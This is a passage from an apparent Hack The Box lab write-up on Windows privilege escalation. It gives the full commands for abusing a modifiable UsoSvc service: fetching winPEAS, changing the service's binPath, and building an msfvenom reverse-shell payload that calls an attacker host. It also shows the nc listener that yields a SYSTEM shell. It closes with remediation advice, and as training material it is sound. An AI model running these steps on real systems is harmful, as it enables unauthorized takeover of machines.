iis apppool\defaultapppool S-1-5-82-3006700770-424185619-1745488364-794895919-4004696415
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
==================================== ================ ============ ==================================================
Mandatory Label\High Mandatory Level Label S-1-16-12288
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\SERVICE Well-known group S-1-5-6 Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
BUILTIN\IIS_IUSRS Alias S-1-5-32-568 Mandatory group, Enabled by default, Enabled group
LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group
Unknown SID type S-1-5-82-0 Mandatory group, Enabled by default, Enabled group
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeAuditPrivilege Generate security audits Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
Normally, when having the SeImpersonatePrivilege enabled on the host, we’d be able to run an exploit such as JuciyPotato to exploit that privileged into gaining privileged execution of a process. However, this vulnerability was patched against in Server 2019, which our target appears to be, so we’ll have to find something else.
We can again use python to host an amazing privesc enumeration script called winPEAS found here on a webserver local to the attacking machine.
Once done, we can retreive the executable to the local target system with the following powershell command/alias:
PS C:\Users\Public> curl http://10.10.14.7/winPEASany.exe -OutFile winpeas.exe
Once run, we begin to review the results. We see “C:\Windows\Panther\Unattend.xml” is found, which can sometimes contain plaintext, encoded, or hashed passwords, but it seems that the password field of this file contains “*SENSITIVE*DATA*DELETED*”
We do find, however, that we can modify a service:
[+] Modifiable Services(T1007)
[?] Check if you can modify any service https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#services
LOOKS LIKE YOU CAN MODIFY SOME SERVICE/s:
UsoSvc: AllAccess, Start
We see with the following query that the service in question is running as LocalSystem, meaning it would probably be an adequate vector for privilege escalation:
PS C:\users\Public> wmic service where 'name="UsoSvc"' get name,startname
Name StartName
UsoSvc LocalSystem
We can use sc.exe to query the service and find out more info - namely that it is the Update Orchestrator Service, is currently running, is set to autostart, and has a dependency of ‘rpcss’
PS C:\users\Public> sc.exe query UsoSvc
SERVICE_NAME: UsoSvc
TYPE : 30 WIN32
STATE : 4 RUNNING
(STOPPABLE, NOT_PAUSABLE, ACCEPTS_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0
PS C:\users\Public> sc.exe qc UsoSvc
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: UsoSvc
TYPE : 20 WIN32_SHARE_PROCESS
START_TYPE : 2 AUTO_START (DELAYED)
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Windows\system32\svchost.exe -k netsvcs -p
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Update Orchestrator Service
DEPENDENCIES : rpcss
SERVICE_START_NAME : LocalSystem
gaining system
Since we have full access to modify the service, we can edit the binary path of the service to point to a malicious executable we’ll create. In this case, we’ll call it shell.exe. The following sc command will modify the service binary path. Note that the property being changed is binPath, not BINARY_PATH_NAME, though they are equivalent. Additionally make not of the space between the = and the value being set, as that is requied.
PS C:\users\Public> sc.exe config UsoSvc binPath= "C:\users\Public\shell.exe"
[SC] ChangeServiceConfig SUCCESS
Once modified we can query the service info once again to be sure the file changed.
PS C:\users\Public> sc.exe qc UsoSvc
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: UsoSvc
TYPE : 20 WIN32_SHARE_PROCESS
START_TYPE : 2 AUTO_START (DELAYED)
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\users\Public\shell.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Update Orchestrator Service
DEPENDENCIES : rpcss
SERVICE_START_NAME : LocalSystem
Perfect. Now on the attacking system we can generate our malicious exe file and host it to transfer locally. We’ll use msfvenom to generate the executable, being sure to change the LHOST & LPORT values appropriately. Once done, we can again use python’s simple HTTP Server to host the directory:
initinfosec@kali:/0ps/HTB/remote/exploit$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.7 LPORT=443 -f exe -o shell.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of exe file: 7168 bytes
Saved as: shell.exe
initinfosec@kali:/0ps/HTB/remote/exploit$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Now from the target we again retreive and save the file locally using powershell’s curl alias:
PS C:\users\Public> curl http://10.10.14.7/shell.exe -OutFile shell.exe
Once done, we start a new listener in a terminal with sudo nc -lvnp 443
And with the listener running, restart the service:
PS C:\users\Public> net stop UsoSvc
The Update Orchestrator Service service is stopping.
The Update Orchestrator Service service was stopped successfully.
PS C:\users\Public> net start UsoSvc
Once done, we see we receive a system shell in our listener. Since the service was running as localSystem, regardless of our modifications to the other properties of the service, the binary and/or process run as the service will get executed/started with the permissions of that service. This demonstrates the need for locking down service permissions, especially one’s that run in a privileged context. our local user, a web user, in all likelihood should hot have permissions to modify the service.
The system shell is shown below:
From here we can grab the root flag and wrap up.
c:\Users\Administrator\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is BE23-EB3E
Directory of c:\Users\Administrator\Desktop
02/20/2020 03:41 AM <DIR> .
02/20/2020 03:41 AM <DIR> ..
06/09/2020 06:19 PM 34 root.txt
1 File(s) 34 bytes
2 Dir(s) 19,286,331,392 bytes free
c:\Users\Administrator\Desktop>type root.txt
type root.txt
Conclusion
Recommended Remediations
-
Disallow anonymous logins to FTP, or preferrably move to a more security alternative such as SCP
-
Disallow mounting NFS shares by everyone, especially by external entities. Implement NFS that requires authentication and is only doable internally to an organization, if possible
-
Patch/Update the Umbraco CMS to resolve the RCE vulnerability found in the currently installed version
-
Avoid having config files or backups with potentially sensitive information in plaintext. Even though the passwords were hashed, files with potentially sensitive information should be stored perhaps in an encrypted zip file. Having both this protection in place as well as hardening the NFS service to mitigate external threats will put the organisation in a better security posture, utilizing defense in depth to make attacks on the system more difficult to achieve.
All for now; until next time.
~@initinfosec
Let me know what you think of this article on twitter @initinfosec or leave a comment below!